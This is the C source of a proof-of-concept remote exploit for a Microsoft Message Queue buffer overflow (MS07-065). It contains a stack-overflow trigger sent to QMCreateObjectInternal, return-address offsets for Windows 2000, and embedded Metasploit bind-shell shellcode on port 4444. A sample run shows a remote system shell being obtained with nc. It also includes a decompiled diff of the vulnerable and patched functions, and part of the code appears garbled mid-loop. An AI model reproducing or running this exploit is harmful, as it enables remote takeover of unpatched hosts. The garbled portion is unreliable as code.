/* MessageQueuexpl.ldl and Makefile: see the en of the file **************************************************************************************************** merry christmas Sysadmins *********************************************************************************************************** ************** Microsoft Message Queue POC exploit ( MS07-065 ) ************** Mario Ballano - (mballano~gmail.com) - http://www.48bits.com Andres Tarasco - (atarasco~gmail.com) - http://www.tarasco.org ****************************************************************************** * Original Advisory: http://www.zerodayinitiative.com/advisories/ZDI-07-076.html * Microsoft Bulletin : http://www.microsoft.com/technet/security/bulletin/ms07-065.mspx * CVE Code: CVE-2007-3039 http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-3039 * Timeline: No naked news this time, just rum and whiskey * Additional information: From Microsoft support http://support.microsoft.com/?id=178517 : RPC dynamic RPC ports for MQ 2101,2103,2105 HSC of course http://www.hsc.fr/ressources/articles/win_net_srv/msrpc_msmq.html Dave s unmidl http://www.immunitysec.com/resources-freesoftware.shtml * How to compile: Call your favorite SetEnv.Cmd from microsoft SDK and then exec nmake. * Note: There are several rpc ports to trigger the overflow. If you hit a system then looks like you ll need to send the exploit twice or specify another port (-p ) to exploit it again. There is a chance that offsets are invalid for windows 2000 server (only spanish win2k advanced server was tested) Adjust them if needed. *Usage: C:\Programaci n\MessageQueue>MessageQueue.exe -------------------------------------------------------------- Microsoft MessageQueue local & remote RPC Exploit code Exploit code by Andres Tarasco & Mario Ballano Tested against Windows 2000 Advanced server SP4 -------------------------------------------------------------- Usage: MessageQueue.exe -h hostname [-d Dnssuffix] [-n netbiosname] [-p port] [-t lang] Targets: 0 (0x6bad469b) - Windows 2000 Advanced server English (default - untested) 1 (0x6b9d469b) - Windows 2000 Advanced server Spanish 2 (0x41414141) - Windows 2000 Advanced server crash C:\Programaci n\\MessageQueue>MessageQueue.exe -h 192.168.1.39 -------------------------------------------------------------- Microsoft MessageQueue local & remote RPC Exploit code Exploit code by Andres Tarasco & Mario Ballano Tested against Windows 2000 Advanced server SP4 -------------------------------------------------------------- [+] Binding to ncacn_ip_tcp:192.168.1.39 [+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0 [+] RPC binding string: ncalrpc:[LRPC00000414.00000001] [+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0 [+] RPC binding string: ncalrpc:[QMsvc$testserver] [+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0 [+] RPC binding string: ncalrpc:[QmReplService] [+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0 [+] RPC binding string: ncalrpc:[QMMgmtFacility$testserver] [+] Found fdb3a030-065f-11d1-bb9b-00a024ea5525 version 1.0 [+] RPC binding string: ncacn_ip_tcp:192.168.1.39[1222] [+] Using gathered netbios name: testserver [+] Dynamic MessageQueue rpc port found (1222) [+] Connecting to fdb3a030-065f-11d1-bb9b-00a024ea5525@ncacn_ip_tcp:192.168.1.39[1222] [+] RpcBindingFromStringBinding success [+] Trying to fingerprint target... [+] Fqdn name obtained from netbios packet: testserver.local [+] Remote OS Fingerprint (05.00) [+] Remote Host identified as Windows 2000 [+] Sending POC Exploit code to QMCreateObjectInternal() [+] Try to connect to remote host at port 4444 for a shell C:\>nc 192.168.1.39 4444 Microsoft Windows 2000 [Versi n 5.00.2195] (C) Copyright 1985-2000 Microsoft Corp. C:\WINNT\system32> * Some boring technical details: Calltree: QMCreateObjectInternal() -> IsPathnameForLocalMachine() -> ReplaceDNSNameWithNetBiosName() -> us Vulnerable calls functions: -------------------------- wchar_t *__stdcall ReplaceDNSNameWithNetBiosName(wchar_t *a1,wchar_t *a2) { wchar_t *v3; // esi@1 v3 = _wcschr(a1, 92u); _wcscpy(a2, g_szMachineName); return _wcscat(a2, v3); } Called From: ------------- if ( !IsPathnameForLocalMachine(v9, (int)&v20) ) { v11 = -1072824300; LogMsgHR(20, off_61646450, 50); return v11; } if ( v20 ) { ReplaceDNSNameWithNetBiosName(v9, &v21); v9 = &v21; } ------ -------------------- patched version: ---------------- if ( !IsPathnameForLocalMachine(v9, (int)&v21) ) { v11 = -1072824300; LogMsgHR(20, off_61646450, 50); return v11; } if ( v21 ) { v12 = ReplaceDNSNameWithNetBiosName(v9, &v22, 141); if ( v12 < 0 ) { v13 = 55; return LogHR(v12, off_61646450, v13); } v9 = &v22; } int __stdcall ReplaceDNSNameWithNetBiosName(wchar_t *a1,wchar_t *a2,int a3) { wchar_t *v3; // eax@1 int result; // eax@4 v3 = _wcschr(a1, 92u); if ( v3 ) result = StringCchPrintfW(a2, a3, (const char *)L"%s%s", g_szMachineName, v3); else { if ( byte_6164638C & 1 ) WPP_SF_S(dword_61646380, dword_61646384, 10, (int)&stru_615B5360, a1); LogMsgHR(6, off_61646450, 2); result = -1072824314; } return result; } */ #define _CRT_SECURE_NO_DEPRECATE #include #include #include #include "MessageQueuexpl.h" #include #pragma comment(lib,"ws2_32") #define DEFAULT_RPC_MESSAGEQUEUE_PORT "2105" void __RPC_FAR * __RPC_USER midl_user_allocate(size_t len){ return(malloc(len)); } void __RPC_USER midl_user_free(void __RPC_FAR * ptr){ free(ptr); } int fingerprint (char *host, wchar_t *fqdn); //Fingerprint remote os for autotarget struct _targets { char *version; char offset[4]; DWORD offsetvalue; } TARGETS[] = { //supported os { "Windows 2000 Advanced server English (default - untested)", "\x9b\x46\xad\x6b", 0x6bad469b}, //Call EDI @mqlogmgr.dll (English / 1999.8.3413.7) from metasploit database { "Windows 2000 Advanced server Spanish (tested)", "\x9b\x46\x9d\x6b", 0x6b9d469b}, // Call EDI (mqlogmgr.dll) win2k adv server sp4 spanish { "Windows 2000 server Spanish (untested)", "\x9b\x46\xd4\x6b", 0x6B9D469B}, // Call EDI (mqlogmgr.dll) win2k server sp4 spanish { "Windows 2000 Advanced server crash", "\x41\x41\x41\x41", 0x41414141}, // crash }; int lang=0; unsigned char shellcode2k[] = /* win32_bind - EXITFUNC=thread LPORT=4444 Size=344 Encoder=PexFnstenvSub http://metasploit.com */ "\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\xa8" "\x36\xe6\x39\x83\xeb\xfc\xe2\xf4\x54\x5c\x0d\x74\x40\xcf\x19\xc6" "\x57\x56\x6d\x55\x8c\x12\x6d\x7c\x94\xbd\x9a\x3c\xd0\x37\x09\xb2" "\xe7\x2e\x6d\x66\x88\x37\x0d\x70\x23\x02\x6d\x38\x46\x07\x26\xa0" "\x04\xb2\x26\x4d\xaf\xf7\x2c\x34\xa9\xf4\x0d\xcd\x93\x62\xc2\x11" "\xdd\xd3\x6d\x66\x8c\x37\x0d\x5f\x23\x3a\xad\xb2\xf7\x2a\xe7\xd2" "\xab\x1a\x6d\xb0\xc4\x12\xfa\x58\x6b\x07\x3d\x5d\x23\x75\xd6\xb2" "\xe8\x3a\x6d\x49\xb4\x9b\x6d\x79\xa0\x68\x8e\xb7\xe6\x38\x0a\x69" "\x57\xe0\x80\x6a\xce\x5e\xd5\x0b\xc0\x41\x95\x0b\xf7\x62\x19\xe9" "\xc0\xfd\x0b\xc5\x93\x66\x19\xef\xf7\xbf\x03\x5f\x29\xdb\xee\x3b" "\xfd\x5c\xe4\xc6\x78\x5e\x3f\x30\x5d\x9b\xb1\xc6\x7e\x65\xb5\x6a" "\xfb\x65\xa5\x6a\xeb\x65\x19\xe9\xce\x5e\xf7\x65\xce\x65\x6f\xd8" "\x3d\x5e\x42\x23\xd8\xf1\xb1\xc6\x7e\x5c\xf6\x68\xfd\xc9\x36\x51" "\x0c\x9b\xc8\xd0\xff\xc9\x30\x6a\xfd\xc9\x36\x51\x4d\x7f\x60\x70" "\xff\xc9\x30\x69\xfc\x62\xb3\xc6\x78\xa5\x8e\xde\xd1\xf0\x9f\x6e" "\x57\xe0\xb3\xc6\x78\x50\x8c\x5d\xce\x5e\x85\x54\x21\xd3\x8c\x69" "\xf1\x1f\x2a\xb0\x4f\x5c\xa2\xb0\x4a\x07\x26\xca\x02\xc8\xa4\x14" "\x56\x74\xca\xaa\x25\x4c\xde\x92\x03\x9d\x8e\x4b\x56\x85\xf0\xc6" "\xdd\x72\x19\xef\xf3\x61\xb4\x68\xf9\x67\x8c\x38\xf9\x67\xb3\x68" "\x57\xe6\x8e\x94\x71\x33\x28\x6a\x57\xe0\x8c\xc6\x57\x01\x19\xe9" "\x23\x61\x1a\xba\x6c\x52\x19\xef\xfa\xc9\x36\x51\x47\xf8\x06\x59" "\xfb\xc9\x30\xc6\x78\x36\xe6\x39"; void usage(char *argv) { int i; printf(" Usage: %s -h hostname [-d Dnssuffix] [-n netbiosname] [-p port] [-t lang]\n\n",argv); printf(" Targets:\n"); for(i=0;i=0) { if (send(sock, req1, sizeof(req1),0) >0) { if (recv(sock, buf, sizeof (buf), 0) > 0) { if (send(sock, req2, sizeof(req2),0) >0) { i=recv(sock, buf, sizeof (buf), 0); if (i>0) { if (fqdn) { //extract fqdn name from rpc packet char *p=buf+0x67; WORD len; //DumpMem(buf,i); while(memcmp(p,"\x04\x00",2)!=0) p+=2; p+=2; memcpy((char*)&len,p,2); //printf("longitud: %i bytes\n",len); memcpy((char*)fqdn,p+2,len); printf("[+] Fqdn name obtained from netbios packet: %S\n",fqdn); } printf("[+] Remote OS Fingerprint (%2.2x.%2.2x)\n",buf[0x60-1], buf[0x60]); if (buf[0x60-1]==5) { return(buf[0x60]); } else { printf("\n[-] Unssuported OS\n"); } } else { printf("\n[-] Recv2 failed\n"); } } else { printf("\n[-] Send2 failed\n"); } } else { printf("\n[-] Recv failed\n"); } } else { printf("\n[-] Send failed\n"); } } else { printf("\n[-] Connect failed\n"); } return(-1); } /* MessageQueuexpl.ldl: //exported functions [ uuid (fdb3a030-065f-11d1-bb9b-00a024ea5525), version(1.0), pointer_default(unique) ] interface msmq { //0x00 void QMOpenQueue(void); void QMGetRemoteQueueName(void); void QMOpenRemoteQueue(void); void QMCloseRemoteQueueContext(void); void QMCreateRemoteCursor(void); void QMSendMessageInternal(void); //0x06 long QMCreateObjectInternal( [in] long parama, [in] [string] wchar_t *paramb, [in] long paramc, [in] long paramd, [in] long parame, [in] long paramf, [in] long paramg); //0x07 void QMSetObjectSecurityInternal(void); //0x08 void QMGetObjectSecurityInternal(void); //0x09 void QMDeleteObject(void); //0x0a void QMGetObjectProperties(void); //0x0b void QMSetObjectProperties(void); //0x0c void QMObjectPathToObjectFormat(void); //0x0d void QMAttachProcess(void); //0x0e void QMGetTmWhereabouts(void); //0x0f void QMEnlistTransation(void); //0x10 void QMEnlistInternalTransaction(void); //0x11 void QMCommitTransaction(void); //0x12 void QMAbortTransaction(void); //0x13 void QMOpenQueueInternal(void); //0x14 void ACCloseHandle(void); //0x15 void ACCreateCursor(void); //0x16 void ACCloseCursor(void); //0x17 void ACSetCursorProperties(void); //0x18 void ACSendMessage(void); //0x19 void ACReceiveMessage(void); //0x1a void ACHandleToFormatName(void); //0x1b void ACPurgeQueue(void); //0x1c void QMQueryQMRegistryInternal(void); //0x1d void QMListInternalQueues(void); //0x1e void QMCorrectOutSequence(void); //0x1f void QMGetRemoteQMServerPort(void); //0x20 void QMGetMsmqServiceName(void); //0x21 void QMCreateDSObjectInternal(void); } */ /* !include !if "$(CPU)" == "i386" cflags = $(cflags) -D_CRTAPI1=_cdecl -D_CRTAPI2=_cdecl !else cflags = $(cflags) -D_CRTAPI1= -D_CRTAPI2= !endif all : MessageQueuexplc # Make the client side application MessageQueuexplc MessageQueuexplc : MessageQueue.exe MessageQueue.exe : MessageQueuexplc.obj MessageQueuexpl_c.obj $(link) $(linkdebug) $(conflags) -out:MessageQueue.exe \ MessageQueuexplc.obj MessageQueuexpl_c.obj \ rpcrt4.lib $(conlibsdll) # MessageQueuexplc main program MessageQueuexplc.obj : MessageQueuexplc.c MessageQueuexpl.h $(cc) $(cdebug) $(cflags) $(cvarsdll) /W3 $*.c # MessageQueuexplc stub MessageQueuexpl_c.obj : MessageQueuexpl_c.c MessageQueuexpl.h $(cc) $(cdebug) $(cflags) $(cvarsdll) /W3 $*.c # remote procedures MessageQueuexplp.obj : MessageQueuexplp.c MessageQueuexpl.h $(cc) $(cdebug) $(cflags) $(cvarsdll) /W3 $*.c # Stubs and header file from the IDL file MessageQueuexpl.h MessageQueuexpl_c.c : MessageQueuexpl.idl MessageQueuexpl.acf midl $(MIDL_OPTIMIZATION) -oldnames -use_epv -no_cpp MessageQueuexpl.idl # Clean up everything clean : -del *.exe -del MessageQueuexpl_s.c -del *.pdb -del *.obj -del MessageQueuexpl_c.c -del MessageQueuexpl.h */